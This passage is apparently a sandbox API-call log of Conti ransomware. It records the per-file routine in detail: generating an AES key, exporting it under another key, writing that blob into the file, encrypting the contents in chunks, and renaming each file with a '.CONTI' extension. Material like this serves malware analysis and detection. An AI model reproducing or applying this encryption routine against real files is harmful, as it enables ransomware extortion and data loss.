	[0115.403] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\109001" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\17\\109001"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\109001.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\17\\109001.conti")) returned 1
	[0115.403] GetProcessHeap () returned 0x1720000
	[0115.403] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.403] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0115.403] GetProcessHeap () returned 0x1720000
	[0115.403] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561530 | out: hHeap=0x1720000) returned 1
	[0115.403] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0115.403] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b43750 | out: phKey=0x6b43750*=0x6b7f078) returned 1
	[0115.403] CryptExportKey (in: hKey=0x6b7f078, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b43754, pdwDataLen=0x4bffe94 | out: pbData=0x6b43754*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0115.404] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\193" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\17\\193")) returned 0x20
	[0115.404] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\193" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\17\\193"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.405] GetLastError () returned 0x0
	[0115.405] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=136) returned 1
	[0115.405] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.405] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.405] SetEndOfFile (hFile=0x418) returned 1
	[0115.405] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.405] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.405] WriteFile (in: hFile=0x418, lpBuffer=0x6b43754*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b43754*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.409] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.410] ReadFile (in: hFile=0x418, lpBuffer=0xda50000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x88, lpOverlapped=0x0) returned 1
	[0115.410] CryptEncrypt (in: hKey=0x6b7f078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x88, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x90) returned 1
	[0115.410] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.410] WriteFile (in: hFile=0x418, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x90, lpOverlapped=0x0) returned 1
	[0115.410] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.410] WriteFile (in: hFile=0x418, lpBuffer=0x6b43748*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b43748*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0115.410] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.410] CloseHandle (hObject=0x418) returned 1
	[0115.410] GetProcessHeap () returned 0x1720000
	[0115.410] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.410] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\193" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\193") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\193"
	[0115.410] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\193", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\193.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\193.CONTI"
	[0115.410] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\193" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\17\\193"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\17\\193.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\17\\193.conti")) returned 1
	[0115.411] GetProcessHeap () returned 0x1720000
	[0115.411] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.411] CryptDestroyKey (hKey=0x6b7f078) returned 1
	[0115.411] GetProcessHeap () returned 0x1720000
	[0115.411] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f098 | out: hHeap=0x1720000) returned 1
	[0115.411] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0115.411] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b43be0 | out: phKey=0x6b43be0*=0x6b7f438) returned 1
	[0115.411] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b43be4, pdwDataLen=0x4bffe94 | out: pbData=0x6b43be4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0115.412] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\109002" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\18\\109002")) returned 0x20
	[0115.412] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\109002" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\18\\109002"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.412] GetLastError () returned 0x0
	[0115.412] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=136) returned 1
	[0115.412] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.412] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.412] SetEndOfFile (hFile=0x418) returned 1
	[0115.413] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.413] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.413] WriteFile (in: hFile=0x418, lpBuffer=0x6b43be4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b43be4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.414] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.414] ReadFile (in: hFile=0x418, lpBuffer=0xda50000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x88, lpOverlapped=0x0) returned 1
	[0115.414] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x88, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x90) returned 1
	[0115.414] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.414] WriteFile (in: hFile=0x418, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x90, lpOverlapped=0x0) returned 1
	[0115.414] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.414] WriteFile (in: hFile=0x418, lpBuffer=0x6b43bd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b43bd8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0115.414] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.414] CloseHandle (hObject=0x418) returned 1
	[0115.414] GetProcessHeap () returned 0x1720000
	[0115.414] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.414] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\109002" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\109002") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\109002"
	[0115.414] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\109002", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\109002.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\109002.CONTI"
	[0115.414] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\109002" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\18\\109002"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\109002.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\18\\109002.conti")) returned 1
	[0115.415] GetProcessHeap () returned 0x1720000
	[0115.415] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.415] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0115.415] GetProcessHeap () returned 0x1720000
	[0115.415] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65602a0 | out: hHeap=0x1720000) returned 1
	[0115.415] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0115.415] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b409b0 | out: phKey=0x6b409b0*=0x6b7f4b8) returned 1
	[0115.415] CryptExportKey (in: hKey=0x6b7f4b8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b409b4, pdwDataLen=0x4bffe94 | out: pbData=0x6b409b4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0115.416] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\195" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\18\\195")) returned 0x20
	[0115.416] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\195" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\18\\195"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.416] GetLastError () returned 0x0
	[0115.416] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=136) returned 1
	[0115.417] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.417] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.417] SetEndOfFile (hFile=0x418) returned 1
	[0115.417] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.417] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.417] WriteFile (in: hFile=0x418, lpBuffer=0x6b409b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b409b4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.708] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.708] ReadFile (in: hFile=0x418, lpBuffer=0xda50000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x88, lpOverlapped=0x0) returned 1
	[0115.708] CryptEncrypt (in: hKey=0x6b7f4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x88, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x90) returned 1
	[0115.709] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.709] WriteFile (in: hFile=0x418, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x90, lpOverlapped=0x0) returned 1
	[0115.709] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.709] WriteFile (in: hFile=0x418, lpBuffer=0x6b409a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b409a8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0115.709] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.709] CloseHandle (hObject=0x418) returned 1
	[0115.709] GetProcessHeap () returned 0x1720000
	[0115.709] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0115.709] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\195" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\195") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\195"
	[0115.709] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\195", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\195.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\195.CONTI"
	[0115.709] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\195" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\18\\195"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\18\\195.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\18\\195.conti")) returned 1
	[0115.805] GetProcessHeap () returned 0x1720000
	[0115.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0115.805] CryptDestroyKey (hKey=0x6b7f4b8) returned 1
	[0115.805] GetProcessHeap () returned 0x1720000
	[0115.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ed50 | out: hHeap=0x1720000) returned 1
	[0115.805] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0115.805] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b50bb0 | out: phKey=0x6b50bb0*=0x6b7f5f8) returned 1
	[0115.805] CryptExportKey (in: hKey=0x6b7f5f8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50bb4, pdwDataLen=0x4bffe94 | out: pbData=0x6b50bb4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0115.806] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.80")) returned 0x20
	[0115.812] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.80"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0115.822] GetLastError () returned 0x0
	[0115.822] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=13622339) returned 1
	[0115.823] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcfdc43
	[0115.823] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.823] SetEndOfFile (hFile=0x380) returned 1
	[0115.845] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.845] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.845] WriteFile (in: hFile=0x380, lpBuffer=0x6b50bb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b50bb4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.937] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.937] ReadFile (in: hFile=0x380, lpBuffer=0xda50000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x500000, lpOverlapped=0x0) returned 1
	[0119.369] CryptEncrypt (in: hKey=0x6b7f5f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x500000, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x500000) returned 1
	[0119.412] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.412] WriteFile (in: hFile=0x380, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x500000, lpOverlapped=0x0) returned 1
	[0121.226] ReadFile (in: hFile=0x380, lpBuffer=0xda50000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x500000, lpOverlapped=0x0) returned 1
	[0123.874] CryptEncrypt (in: hKey=0x6b7f5f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x500000, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x500000) returned 1
	[0124.022] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.022] WriteFile (in: hFile=0x380, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x500000, lpOverlapped=0x0) returned 1
	[0126.630] ReadFile (in: hFile=0x380, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2fdc43, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2fdc43, lpOverlapped=0x0) returned 1
	[0127.419] CryptEncrypt (in: hKey=0x6b7f5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2fdc43, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2fdc50) returned 1
	[0127.422] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.422] WriteFile (in: hFile=0x380, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2fdc50, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2fdc50, lpOverlapped=0x0) returned 1
	[0129.292] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.292] WriteFile (in: hFile=0x380, lpBuffer=0x6b50ba8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b50ba8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0129.293] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.293] CloseHandle (hObject=0x380) returned 1
	[0129.592] GetProcessHeap () returned 0x1720000
	[0129.592] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.593] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80"
	[0129.593] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80.CONTI"
